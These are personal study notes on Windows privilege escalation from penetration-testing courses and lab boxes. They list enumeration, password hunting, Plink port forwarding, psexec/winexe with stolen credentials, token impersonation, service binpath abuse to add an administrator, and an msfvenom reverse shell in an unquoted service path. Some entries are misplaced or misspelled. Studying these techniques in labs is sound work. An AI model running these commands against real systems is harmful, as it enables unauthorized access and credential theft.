



Thank you for downloading! This document is intended to be used as a learning and reference tool. In it you will find all of my compiled notes from various courses I have taken, and helpful information I've collected. I intend to update my GitHub regularly as I gather more information, resources, and continue my efforts. Enjoy and use responsibly.

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<https://github.com/xChockax>

WINDOWS CVEs

Tool Repo: <https://github.com/TCM-Course-Resources/Windows-Privilege-Escalation-Resources>
Hacklist PrivEsc Checklist: <http://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation>
Fuzzy Security Guide: <https://www.fuzzyscurity.com/tutorials/16.html>
PayloadsAllTheThings: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>
Absolombs Guide: <https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/>
Sushant747Guide: https://sushant747.github.io/total-oscp-guide/content/privilege_escalation_windows.html

Windows - Privilege Escalation

SYSTEM BASED ENUMERATION

Commands: systeminfo
 extract_patching/hotfixes: wmic qfe get Caption,Description,HotFixID,InstalledOn
 List Drives: wmic logicaldisk get caption,description,providername

NOTE: If you have writable access to password file create salted password with ss1 command then copy root and paste as new user with different name. Add the generated password >su newuser

USER BASED ENUMERATION

Commands: >openssl passwd -1 -salt newuser pass123

whoami
whoami /priv
whoami /groups
show users on the machine: net user
net user <username>
net user administrator
net localgroup
net localgroup administrators

NETWORK BASED ENUMERATION

Commands: ipconfig
 ipconfig /all
 arp -a
 route print
 Checking listening ports: netstat -ano

PASSWORD HUNTING

Commands: findstr /si password: *.txt *.ini *.config (This will only search files in the directory you are in)
Check out PayloadsAllTheThings resource, etc (found in the tool repo)

AV & FIREWALL

Commands: Service control queries:
 sc query windefend (windows defender)
 sc queryex type= service (Tells us all the services running on the machine)

Firewall Info:
netsh advfirewall firewall dump (Shows state of the firewall)
netsh firewall show state (Shows state of firewall)
netsh firewall sh (shows firewall configuration)

Tools can be found in the repo above

EXECUTABLES:	POWERSHELL:	OTHER:
winPEAS.exe	Sherlock.ps1	windows-exploit-suggester.py
winPEAS.bat	Powerup.ps1	Exploit Suggester (MSF)
seatbelt.exe (compile)	jaw-enum.ps1	
watson.exe (compile)		
Sharpup.exe (compile)		

Windows - Kernel Exploits

Kernal Exploits <https://github.com/SecWiki/windows-kernel-exploits>
After running which Kernal exploits the system is vulnerable to using a tool (e.g. windows exploit suggester), search google for the exploit (e.g. MS10-015 exploit)
MS10-59 "AKA Chimichurri" is a great exploit if the system is vulnerable.

Windows - Windows Firewall

CHATTERBOX OSCP/HTB BOX

netstat -ano Will show ports.
We can see that 0.0.0.0:PORT is a port that is open locally (If listening)
If SMB is listening locally (0.0.0.0:445), we can use found passwords to connect with tools like psexec or winexe.

Visit to find commands for password searching: <https://sushant747.github.io/total-oscp-guide/content/>

We can check for password reuse. The user might have admin access, and may have reused their passwords.

To perform port forwarding we can use a tool called PLINK <https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html>

* Plink is a command line interface for the PuTTY back end. PuTTY is an SSH and Telnet client.
In the example TCM downloads the 32bit version of plink

Steps for plink:

Transfer the downloaded plink file to the machine.
If you do not have ssh installed on kali apt install ssh
in kali edit the sshconfig -> gedit /etc/ssh/sshd_config
In the sshd_config we need to permit root login
Save the config file
restart ssh -> service ssh restart
start the service -> ssh start
command for plink on target machine -> plink.exe -l root -pw <kalipassword> -R 445:127.0.0.1:445 <KalipAddress>
You may need to hit enter a few times and then you will be on your kali machine within the target box.
Next we use winexe
root@kali> winexe -U Administrator%<stolenpassword> //127.0.0.1 "cmd.exe"
You may need to run the command a few times to get it to work

Windows - Windows Subsystem for Linux (WSL)

Cheatsheet: <http://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Windows>

EoP - Windows Subsystem for Linux (WSL)

commands to find bash.exe > where /R c:\windows bash.exe

commands to find the wsl.exe > where /R c:\windows wsl.exe

If these are found try to escape the shvll with python -c "import pty;pty.spawn('/bin/bash')"

first thing you do with your new shell is check the history. Type history or cat bash_history

If you find creds you can run a couple commands (Need impacket)

> psexec.py administrator: '<foundpassword>' @<targetip>
> smbexec.py administrator: '<foundpassword>' @<targetip>
> wmlxec.py administrator: '<foundpassword>' @<targetip>

Windows - Windows Remote Shell

Token Impersonation Overview

Two types of tokens:

1. Delegate Token: created for logging into a machine or using RDP
2. Impersonate Token: "non-interactive" such as attaching to a network drive or a domain logon script

meterpreter > list_tokens -u

mimikatz: will dump the LSA off of the domain controller (without admin creds you will get a access denied) BUT what if the admin left a token behind?

Impersonation Privileges Overview

command > whoami /priv

If we find an ImpersonatePrivilege this is a good thing

* Check out two places to see what you can do with found privileges:

1. payload all the things: Impersonation Privileges "seAssignPrimaryToken" is the same as impersonate
2. <http://github.com/gtworek/Priv2Admin>

Potato Attacks OverView:

To learn more: <https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/>

Juicy Potato: <https://github.com/ohpe/juicy-potato>

with meterpreter shell:

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load incognito
list_tokens -u
copy the token
impersonate_token "Copied Token"
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Alternate Data Streams:

Intro to Alternate Data Streams: <https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/>

To look at hidden date command > dir /R

The output will look something like this --->

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44326208 00-00-00-00-00-00-00-00 34 hml.txt
34 hml.txt:root.txt:$DATA
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To view the file -> type more < hml.txt:root.txt:\$DATA

Windows Commandline

cmdkey /list <- will look for stored creds on a machine, but winpeas or other tools will also do this.

Command: \Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"

This is basically a sudo command if you have stored creds

AutoRuns

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Tool: Autorun64.exe

Tool: Accesschk64.exe > accesschk64.exe -wuvc "C:\Program Files\Autorun Program"
We are looking to have "FILE_ALL_ACCESS"

Accesschk64.exe Windows Binary

accesschk64.exe -uwvcv Everyone *

Now check the found binary with > accesschk64.exe -wuvc <foundbinary>

If we can change the config we can get malicious

To query the path of the binary use > sc qc <foundbinary>

To get malicious > sc config <foundbinary> binpath= "net localgroup administrators user /add"

Then start the binary > sc start <foundbinary>

Common Folder Service

For an unquoted folder in a service path e.g. /common folder/ we can generate an msfvenom reverse shell called common.exe

We place the common.exe in the same spot as /common folder/ and we can generate a reverse shell pretty easily

To stop the service: sc stop <service>

To start the service: sc start <service>